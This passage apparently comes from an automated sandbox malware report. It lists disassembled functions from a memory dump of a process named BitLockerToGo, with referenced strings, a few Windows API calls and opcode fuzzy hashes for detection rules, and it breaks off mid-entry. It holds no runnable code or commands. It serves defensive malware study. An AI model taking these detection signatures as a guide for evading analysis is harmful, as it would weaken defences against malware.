Opcode Fuzzy Hash: 308a8e9616265b54cd42d5cd3845e910ed26ea46a4686bd2ba46c646c366163a
Instruction Fuzzy Hash: 59D1FBB16087208BC324CF24E89176BB7F1FFD1354F498A5DE8958B3A1E7789844CB96

Function 00423AB0 Relevance: 11.9, Strings: 9, Instructions: 696COMMON

Download Yara Rule

Strings

FMB, xrefs: 00424275
9NB, xrefs: 00423AC4
_IB, xrefs: 004244DA
LB, xrefs: 004242BF
wOB, xrefs: 00424335
nLB, xrefs: 00424301
rMB, xrefs: 004244F0
9B, xrefs: 004241F5, 0042420D, 00424257, 004242A1, 00424317, 0042434B, 0042437F, 004243B3, 004243D1, 004243EF, 0042440D, 0042446A, 00424488, 004244A6, 00424506, 00424524, 00424542, 0042455C, 0042457A, 00424598
3GB, xrefs: 004242D5

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 9B$3GB$9NB$FMB$_IB$nLB$rMB$wOB$LB
API String ID: 0-1580996290
Opcode ID: 822b4af60e0d94dd2474e6cd00ec274b8c60a1f67c7f1bbfae50e6a45ce3c984
Instruction ID: 441cca09a067585db9aa1d99e67a711b97d75ed3798bab44658daf35f650de92
Opcode Fuzzy Hash: 822b4af60e0d94dd2474e6cd00ec274b8c60a1f67c7f1bbfae50e6a45ce3c984
Instruction Fuzzy Hash: 29727CB0509B819ED3768B3C8889797BFD59B1A324F084A5DD0FE873D2C7B96005CB66

Function 0041D0D0 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 366threadCOMMON

Download Yara Rule

APIs

FindWindowExW.USER32(00000000,?,?,00000000), ref: 0041D1AD
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0041D262

Strings

<=, xrefs: 0041D133
efg`, xrefs: 0041D330
W1c3, xrefs: 0041D128

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: Window$FindProcessThread
String ID: <=$W1c3$efg`
API String ID: 3928697162-3149390115
Opcode ID: 6ef0601fadef9285547c66f1f8765069edb2cebf1dc934f5e1f522180aa84e5c
Instruction ID: 28bb592925e9eea3f0c3eb94a06ed387c87994dd626cc93e4af72e0a9b647448
Opcode Fuzzy Hash: 6ef0601fadef9285547c66f1f8765069edb2cebf1dc934f5e1f522180aa84e5c
Instruction Fuzzy Hash: 9AC1F0B5A08351CFD724DF24D8917ABB7E1EF85304F08883EE48587391E7789845CB9A

Function 004214C0 Relevance: 8.3, Strings: 6, Instructions: 767COMMON

Download Yara Rule

Strings

wr, xrefs: 004215A6
h7t1, xrefs: 00421C51
U'd!, xrefs: 00421CEC
T5p7, xrefs: 004216AC
|}, xrefs: 00421AC3
03, xrefs: 00421C59

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 03$T5p7$U'd!$h7t1$wr$|}
API String ID: 0-1852633749
Opcode ID: 846d71277714052fbc53e96ad2e01902a6348133bbabe04d0817c650bc268070
Instruction ID: e5725026e933132ed1fb6773a46ee094490332d629b49a5629b0676095ba613f
Opcode Fuzzy Hash: 846d71277714052fbc53e96ad2e01902a6348133bbabe04d0817c650bc268070
Instruction Fuzzy Hash: 173221B1A083509BC300DF25D89236BBBF0EFD5354F18892DE4C58B391E7788909CB9A

Function 00411BA8 Relevance: 7.7, Strings: 6, Instructions: 243COMMON

Download Yara Rule

Strings

G[, xrefs: 00411BF8
UW, xrefs: 00411BE8
D, xrefs: 00411DE3
V167, xrefs: 00411CB0
efg`, xrefs: 00411E5F
^%Z;, xrefs: 00411C8F

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: D$G[$UW$V167$^%Z;$efg`
API String ID: 2994545307-2603424
Opcode ID: 97f4160a65466e1b3b82a3e2adbfef3664b85109175dd2fa288862eee3c63079
Instruction ID: 6a9c5ecc215ab58fba71e8d1e2192f9666a041baac1635fdee7cd0e869fb038d
Opcode Fuzzy Hash: 97f4160a65466e1b3b82a3e2adbfef3664b85109175dd2fa288862eee3c63079
Instruction Fuzzy Hash: D291AAB05093409BE324CF50D8A17ABBBE1FFD1344F14891DE5C91B3A1E7B99885CB8A

Function 0041DF4C Relevance: 6.9, Strings: 5, Instructions: 648COMMON

Download Yara Rule

Strings

"A, xrefs: 0041E710
efg`, xrefs: 0041E4C0
efg`, xrefs: 0041E070
efg`, xrefs: 0041E380
efg`, xrefs: 0041E590

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: "A$efg`$efg`$efg`$efg`
API String ID: 0-264355305
Opcode ID: 1a4f066ab45bbf1bf65f6ac5b7f18690e3dd64857b403a1244fd8f22e4b8803c
Instruction ID: 6bb61e289445e2232a659a5ff1440077d86045cab6b60c0da35f7b72121b2c56
Opcode Fuzzy Hash: 1a4f066ab45bbf1bf65f6ac5b7f18690e3dd64857b403a1244fd8f22e4b8803c
Instruction Fuzzy Hash: E622DB757083019BD728CF25CD927ABBBD2EBD9304F19883EE8CA97261D674DC418B46

Function 0042E010 Relevance: 6.9, Strings: 5, Instructions: 631COMMON

Download Yara Rule

Strings

WR, xrefs: 0042E607
efg`, xrefs: 0042E1FF
\B, xrefs: 0042E15C, 0042E256, 0042E80C
jisa, xrefs: 0042E5DF
hpe(, xrefs: 0042E5EF

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: WR$\B$efg`$hpe($jisa
API String ID: 0-3775183425
Opcode ID: 400a75d1c97eb8bc7a673315f5d5cf27d5611656c2d5a4caa98f9c258ccb3d26
Instruction ID: 58ba2bbe391f5759b8ba4d0e6d285e08cbbd530812b0048c999d57dfe1387f50
Opcode Fuzzy Hash: 400a75d1c97eb8bc7a673315f5d5cf27d5611656c2d5a4caa98f9c258ccb3d26
Instruction Fuzzy Hash: 8D12217560C350DFD714DF25E88172BBBE2AB96304F548A3DF89587292D339C906CB4A

Function 00401328 Relevance: 6.6, Strings: 5, Instructions: 389COMMON

Download Yara Rule

Strings

gfff, xrefs: 00401F12
0123456789ABCDEFXP, xrefs: 00401328
0123456789abcdefxp, xrefs: 00401332
gfff, xrefs: 00401F77
-, xrefs: 00401ED7

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: -$0123456789ABCDEFXP$0123456789abcdefxp$gfff$gfff
API String ID: 0-3620105454
Opcode ID: 4f65a209e060512b6862ca16425b3cf1ea8f801bdcf9f8a606cb41aa02a68d99
Instruction ID: 64269b61a8eef3c2595f2a65bc39baf37c09aa1eadf57ca92663735224468d1d
Opcode Fuzzy Hash: 4f65a209e060512b6862ca16425b3cf1ea8f801bdcf9f8a606cb41aa02a68d99
Instruction Fuzzy Hash: F3E1A07160C3918FC715CF29C48026AFBE1AFD9314F088A7EE8D997392D278D945CB96

Function 00443620 Relevance: 5.8, Strings: 4, Instructions: 797COMMON

Download Yara Rule

Strings

|Ai, xrefs: 00443DAC
InA>, xrefs: 00443B40
t, xrefs: 0044398F
p;, xrefs: 00443D94

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: InA>$t$|Ai$p;
API String ID: 0-213182178
Opcode ID: bd08de5ba0c769b1ac2e0f12626b5efb3a2682a5462e0f3071c17ccdce07e20d
Instruction ID: a6a843eb858e05481f17cce05a31ef9f0259b050a6fc75cdcfb9c7e940cf2e33
Opcode Fuzzy Hash: bd08de5ba0c769b1ac2e0f12626b5efb3a2682a5462e0f3071c17ccdce07e20d
Instruction Fuzzy Hash: 2E4226726083554FD328CE28D85035FBBE2EBC5714F19C92DD8E59B381DB79C90A8B86

Function 0043F500 Relevance: 5.7, Strings: 4, Instructions: 693COMMON

Download Yara Rule

Strings

InA>, xrefs: 0043F5A0
InA>, xrefs: 0043F850
efg`, xrefs: 0043F581
f, xrefs: 0043F713

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: InA>$InA>$efg`$f
API String ID: 2994545307-2144246784
Opcode ID: 130b561d97d3b6993d4d62284a130179d22e7c1646632262d87926ded876ad0b
Instruction ID: 695ed9c0c3e4cdaf9bfe5a45b976e34e4d44aaca64038908e4aa5b865235e1f6
Opcode Fuzzy Hash: 130b561d97d3b6993d4d62284a130179d22e7c1646632262d87926ded876ad0b
Instruction Fuzzy Hash: 3A329E71A083019FD714CF29C890B2BBBE1BBC8314F189A2EF995973A1D778D845CB56

Function 00437689 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 004376D4
GetSystemMetrics.USER32 ref: 004376E3

Strings

, xrefs: 004377B7

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 2e16af3aaee41bec0d7c4024616bb22377455bebcff6ca0735259d95cebdc774
Instruction ID: 61fd95a6044f934e02848875cdd8eb35ba990383feace83ec03b6213460df8d8
Opcode Fuzzy Hash: 2e16af3aaee41bec0d7c4024616bb22377455bebcff6ca0735259d95cebdc774
Instruction Fuzzy Hash: DC5190B4E142099FDB40EFACD985A9EBBF0BB48300F104969E898E7350D734AD45CF96

Function 0043A482 Relevance: 5.3, Strings: 4, Instructions: 280COMMON

Download Yara Rule

Strings

f, xrefs: 0043A753
e, xrefs: 0043A74F
`, xrefs: 0043A75B
g, xrefs: 0043A757

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: `$e$f$g
API String ID: 0-2583803424
Opcode ID: 38a9516ba27449d4b12c3847cc731c3a740ce0a1a6372ea76a892fadc2d09e51
Instruction ID: a442af11484e474f7b316a2e5df83a75c22d6bc10bb145564453e70e13ff4d48
Opcode Fuzzy Hash: 38a9516ba27449d4b12c3847cc731c3a740ce0a1a6372ea76a892fadc2d09e51
Instruction Fuzzy Hash: 7FD1C32090CBD18ED332CB3C8448356BFE15B2A314F0D869DC4EA5B7D2C3B9A945C7A6

Function 00429B40 Relevance: 5.2, Strings: 4, Instructions: 250COMMON

Download Yara Rule

Strings

efg`, xrefs: 004294F5
efg`, xrefs: 00429514, 00429532
#!, xrefs: 004294FC
efg`, xrefs: 00429B64

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: efg`$efg`$efg`$#!
API String ID: 0-3813341956
Opcode ID: d93fe5311c6696b663b77fc231b36887b9e18d5685be2255572e25cd372cd0ea
Instruction ID: 8e1821fe89774ced70631adf1cf18db96d33011d02ee34616899e4668bddddf9
Opcode Fuzzy Hash: d93fe5311c6696b663b77fc231b36887b9e18d5685be2255572e25cd372cd0ea
Instruction Fuzzy Hash: 99815C39E04218CFDB14CFA4E891BAEB7B1FF4A301F5940A9D845AB322D739AD41DB54

Function 004225F0 Relevance: 4.5, Strings: 3, Instructions: 750COMMON

Download Yara Rule

Strings

efg`, xrefs: 00422710, 00422748
J9d7, xrefs: 00422697
efg`, xrefs: 00422780

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: J9d7$efg`$efg`
API String ID: 2994545307-4212305041
Opcode ID: 3c1c480f406f539c905c7598e4806e0f6193330caa24ec88ac62b73ddabd6752
Instruction ID: 6ae22f96eb14acd7ce936dfcd139a461e6ae181e8ca823a4fedfa1eb1b05c64e
Opcode Fuzzy Hash: 3c1c480f406f539c905c7598e4806e0f6193330caa24ec88ac62b73ddabd6752
Instruction Fuzzy Hash: DC320372708321ABD724CF15D94176BB7E2FBC8704F58482EE98997391E7B49801CB96

Function 00429731 Relevance: 4.3, Strings: 3, Instructions: 540COMMON

Download Yara Rule

Strings

efg`, xrefs: 004294F5
efg`, xrefs: 00429514, 00429532
#!, xrefs: 004294FC

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: efg`$efg`$#!
API String ID: 0-2969026812
Opcode ID: 4e3a5056480385d86690aab075cfeb77a29c9162e8714e91306b85e6ce629843
Instruction ID: 25f4298f3e6ed6c5be21b126ee51ebf81e4826a01a08bd2550a78423dd329ab1
Opcode Fuzzy Hash: 4e3a5056480385d86690aab075cfeb77a29c9162e8714e91306b85e6ce629843
Instruction Fuzzy Hash: 5702F97AE00225CFCB14CF68D881AAEB7B2FF4A310F698099D445BB361D735AD42CB54

Function 004232C0 Relevance: 4.3, Strings: 3, Instructions: 512COMMON

Download Yara Rule

Strings

Q"\Y, xrefs: 004237D1
v|ib, xrefs: 00423334
eeI, xrefs: 004236CD

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: Q"\Y$eeI$v|ib
API String ID: 0-1283941654
Opcode ID: b2d949dfb13bc295cb7a2a51db609976345699193f8ae1eda32cad2f9b626e4a
Instruction ID: 4d552cf58ead350928f723a4a1801e2ad85ab099344f93e215de5b921573484b
Opcode Fuzzy Hash: b2d949dfb13bc295cb7a2a51db609976345699193f8ae1eda32cad2f9b626e4a
Instruction Fuzzy Hash: F5F104B6A08311ABD300DF24DC81B9BBBE5AFC4304F14892DF89497352E679DE18C796

Function 0042A5CF Relevance: 4.2, Strings: 3, Instructions: 481COMMON

Download Yara Rule

Strings

\1q7, xrefs: 0042A680
efg`efg`efg`, xrefs: 0042A9FE
J!C', xrefs: 0042A69C

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: J!C'$\1q7$efg`efg`efg`
API String ID: 0-1672298583
Opcode ID: 1df81f8888a4eb5a04eb07e70a55c4368bf7e962f356c6ae790d49beb0927185
Instruction ID: ef40aef853601b7bd6bb5efbb998d0f541bedd867672e51828fa5f3ea20d5519
Opcode Fuzzy Hash: 1df81f8888a4eb5a04eb07e70a55c4368bf7e962f356c6ae790d49beb0927185
Instruction Fuzzy Hash: B3F1E2B5E00215CFEB14CF55D8817AEBB72FF45300F5A84AAD841AB352D734AC52CB99

Function 00427A8A Relevance: 4.2, Strings: 3, Instructions: 472COMMON

Download Yara Rule

Strings

efg`, xrefs: 00427EF4
R{B, xrefs: 00427B44
4|B, xrefs: 00427C04

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 4|B$R{B$efg`
API String ID: 0-1971417408
Opcode ID: 40eb750fbb718fd49339ba61a3c87b84bf7e4e0f440232d377e4898432607754
Instruction ID: 808a38f1cfb67ae9c08a8250fc78a742f3fc893acedd942767a399ee7670a43e
Opcode Fuzzy Hash: 40eb750fbb718fd49339ba61a3c87b84bf7e4e0f440232d377e4898432607754
Instruction Fuzzy Hash: B7F1BD7AE04216CFDB08CFA8EC917AEB3B2FB4A315F198078D905A7291D734A951CB44

Function 00408970 Relevance: 4.2, Strings: 3, Instructions: 420COMMON

Download Yara Rule

Strings

), xrefs: 004089EC
IEND, xrefs: 00408DDC
), xrefs: 004089F6

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: )$)$IEND
API String ID: 0-588110143
Opcode ID: 50e4e99ce62a0009a68c1d668bdec6356d00a26949d303546c83e318f35353e7
Instruction ID: d0ea9fa962722b63b101ad2954e3245b3540f468485e579dd14981f853b6388e
Opcode Fuzzy Hash: 50e4e99ce62a0009a68c1d668bdec6356d00a26949d303546c83e318f35353e7
Instruction Fuzzy Hash: 8FF1C071A087019BE314DF24C88171ABBE1BB94314F144A3EF995A73C1DB79E915CBCA

Function 00427767 Relevance: 4.0, Strings: 3, Instructions: 286COMMON

Download Yara Rule

Strings

InA>, xrefs: 00427810
{, xrefs: 00427897
efg`, xrefs: 004277B0

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: {$InA>$efg`
API String ID: 0-1927733897
Opcode ID: d3486f60991773fee9f49e69c536c4ab2d26e82b0491e5c08068a85343aa0529
Instruction ID: 08a2e7a5d37eac5d6ac40d544b457f09caef7e96fecea3372c25b81f151374b1
Opcode Fuzzy Hash: d3486f60991773fee9f49e69c536c4ab2d26e82b0491e5c08068a85343aa0529
Instruction Fuzzy Hash: 5AA158B2E042258FDB14CFA9D8816BEBBB2FB55300F58812DD841BB391E7759D45CB84

Function 004441D0 Relevance: 4.0, Strings: 3, Instructions: 234COMMON

Download Yara Rule

Strings

TED, xrefs: 004444E4
BED, xrefs: 004444DE
TED, xrefs: 004444F1

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: BED$TED$TED
API String ID: 0-4266970047
Opcode ID: 0a78526f9be4b3e401073b32deedf42ed3391359f3512c170779dd4b77e9070f
Instruction ID: 1116d02d006216076cd839cf75bc78f2c9b883b92a2206bcf934aaa17da32679
Opcode Fuzzy Hash: 0a78526f9be4b3e401073b32deedf42ed3391359f3512c170779dd4b77e9070f
Instruction Fuzzy Hash: 18513439649311CFD314AF78E890A1AB7E1FBCA312F0A88BDC98557762C274D845CB85

Function 00429680 Relevance: 3.9, Strings: 3, Instructions: 178COMMON

Download Yara Rule

Strings

efg`, xrefs: 004294F5
efg`, xrefs: 00429514, 00429532
#!, xrefs: 004294FC

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: efg`$efg`$#!
API String ID: 0-2969026812
Opcode ID: 1ae9037a8a6ef4cb95c532688ce2c78fef8c129d2f60b831c4fce07c1b14c1e3
Instruction ID: 9fbffb40713b398d77dfcabee64b28e8bbe553b3d0d779a82b467f39b0cc42a2
Opcode Fuzzy Hash: 1ae9037a8a6ef4cb95c532688ce2c78fef8c129d2f60b831c4fce07c1b14c1e3
Instruction Fuzzy Hash: F0515B79E00218DFDB14CFA8D841AAEB7B1FF4A300F5940A9D845AB322D739AD51DF54

Function 00444380 Relevance: 3.9, Strings: 3, Instructions: 127COMMON

Download Yara Rule

Strings

TED, xrefs: 004444E4
BED, xrefs: 004444DE
TED, xrefs: 004444F1

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: BED$TED$TED
API String ID: 0-4266970047
Opcode ID: 2ecc1544ea7d5e3241da97ac98759e9251954f66c6b9276c4565f91a6e78a801
Instruction ID: e0a71f4d1ce538102cb5c1ed16b1f70106e8303ef8b18db33ec0918838e28800
Opcode Fuzzy Hash: 2ecc1544ea7d5e3241da97ac98759e9251954f66c6b9276c4565f91a6e78a801
Instruction Fuzzy Hash: 5741D23AA5A320CFC354DF28D890696B3E6EBCD312F1A8479C98593766D634EC40CB80

Function 0042F1E0 Relevance: 3.0, Strings: 2, Instructions: 539COMMON

Download Yara Rule

Strings

", xrefs: 0042F695
", xrefs: 0042F60E

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: "$"
API String ID: 0-3758156766
Opcode ID: 6811cec03e7c64dc27b915098f58a2daa27aa2b18392091534de4100c71d04bb
Instruction ID: 0f1a36cbbfa6cd7b7f174725e774873b54e4b03d637147faa384a21cd200870b
Opcode Fuzzy Hash: 6811cec03e7c64dc27b915098f58a2daa27aa2b18392091534de4100c71d04bb
Instruction Fuzzy Hash: 0E020272B083259BC710CE28D48075BB7E6ABC5314FD98A3EE8959B381D778DD0D8786

Function 00427040 Relevance: 3.0, Strings: 2, Instructions: 481COMMON

Download Yara Rule

Strings

k5e3, xrefs: 00427059
01, xrefs: 00427061

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 01$k5e3
API String ID: 0-2813693549
Opcode ID: e60a6e5dba1c15a7b30bab98e77bf97991d7ff5460a1f01a5181ea03c752c8e7
Instruction ID: 84bc2e94d0e39d242bc324e61be3ca826bdd2b3549b58a0a37b7c85a0d7d99ee
Opcode Fuzzy Hash: e60a6e5dba1c15a7b30bab98e77bf97991d7ff5460a1f01a5181ea03c752c8e7
Instruction Fuzzy Hash: 0AC12472B083208BD714DF28D89277BB7E2EF91354F49852EEC8197391E2789D05C39A

Function 004038E0 Relevance: 2.9, Strings: 2, Instructions: 404COMMON

Download Yara Rule

Strings

NaN, xrefs: 0040393A
Inf, xrefs: 00403933

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: Inf$NaN
API String ID: 0-3500518849
Opcode ID: a4d28ee1b9c3a2b2a306d7e61ddc5dc79b3977f8ff9e5f424ac5aedefe9d74c3
Instruction ID: dd3be7c776b94e504c6a6d8d0383f4e32a36fa00984333f7af53f05925fd744f
Opcode Fuzzy Hash: a4d28ee1b9c3a2b2a306d7e61ddc5dc79b3977f8ff9e5f424ac5aedefe9d74c3
Instruction Fuzzy Hash: 51D1D472A083119BC704CF28C88061BBBE5EFC4750F158A3EE895A73D1E778ED458B86

Function 0042CF80 Relevance: 2.9, Strings: 2, Instructions: 387COMMON

Download Yara Rule

Strings

$G, xrefs: 0042CF99
PK, xrefs: 0042CFA1

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: $G$PK
API String ID: 0-1063224808
Opcode ID: e79da252d7beeb0dd8a2ff337d6e2340e18f0558f73186a5375a283c4743d454
Instruction ID: b4b4241d525d5f265bce6b6c758c8fb545502b3bea9c20d2ac0b0323ddec8148
Opcode Fuzzy Hash: e79da252d7beeb0dd8a2ff337d6e2340e18f0558f73186a5375a283c4743d454
Instruction Fuzzy Hash: 1DC1EE75A083618BD314CF28D8407AFBBE2EFC6700F05892DE8959B395D7B89905CB97

Function 00421E00 Relevance: 2.9, Strings: 2, Instructions: 369COMMON

Download Yara Rule

Strings

TV, xrefs: 00421EA1
KV, xrefs: 00421E91

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: KV$TV
API String ID: 0-3314556884
Opcode ID: 8ac7eec7c7eda2cc5b5a8642c9cfc7beade25fa413af0dc4ca04161fd3c22701
Instruction ID: 2714bf79ea0a49261b2b81243ebb2f974ec97ace33b098c0d9d613b547cc0a2a
Opcode Fuzzy Hash: 8ac7eec7c7eda2cc5b5a8642c9cfc7beade25fa413af0dc4ca04161fd3c22701
Instruction Fuzzy Hash: 67A100746083118BC310DF28D881A7BB7F0FFA2354F598A1DE9D58B3A0E7789941C79A

Function 0041FAD5 Relevance: 2.6, Strings: 2, Instructions: 94COMMON

Download Yara Rule

Strings

|, xrefs: 0041FB66
x~, xrefs: 0041FB5B

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: x~$|
API String ID: 0-2998493806
Opcode ID: d9f3eb50ead09cb11c776f5b7975877907a698ffaac664551f5753c146d6e9cd
Instruction ID: be0b7ca467c7981a7c500d576dbdf2818c81d5a35327316e98acbcf6bf2d8a78
Opcode Fuzzy Hash: d9f3eb50ead09cb11c776f5b7975877907a698ffaac664551f5753c146d6e9cd
Instruction Fuzzy Hash: 3631AFB55083508AC338CF25C8A17EBB7F1EF9A355F048A2CE4D99B290E7784545CB9A

Function 00405460 Relevance: 1.8, Strings: 1, Instructions: 541COMMON

Download Yara Rule

Strings

%1.17g, xrefs: 00405763

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: %1.17g
API String ID: 0-1551345525
Opcode ID: 3fa8d84c5c2ec224348a864e9e7cd589fabf1c041edc5296cfb68df52fed1560
Instruction ID: 3c04e5d8a7e799d27e4d982246db4db2b5b7e7f6f2873b04f679a58a4218fe6a
Opcode Fuzzy Hash: 3fa8d84c5c2ec224348a864e9e7cd589fabf1c041edc5296cfb68df52fed1560
Instruction Fuzzy Hash: 1F12F4B5A08B41CBE7258E598480327BAD2EF91314F19857FD889AB3C1E779CC45CF4A

Function 00426DE0 Relevance: 1.7, APIs: 1, Instructions: 241comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004489D8,00000000,00000001,004489C8), ref: 00426E09

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 00cef977429e82d5a42a81734f25ceb58ba6f920ff00fd8fe5712cfa56c34f76
Instruction ID: b2b7df950f00067aaf6714a7084ee4bc3aff87371256c09e9ba6f86a579f0791
Opcode Fuzzy Hash: 00cef977429e82d5a42a81734f25ceb58ba6f920ff00fd8fe5712cfa56c34f76
Instruction Fuzzy Hash: 5251EEB47002209BDB209B24EC82B7733B5EF81768F4A4559F985CB390E779EC05C76A

Function 0042D8E0 Relevance: 1.7, Strings: 1, Instructions: 479COMMON

Download Yara Rule

Strings

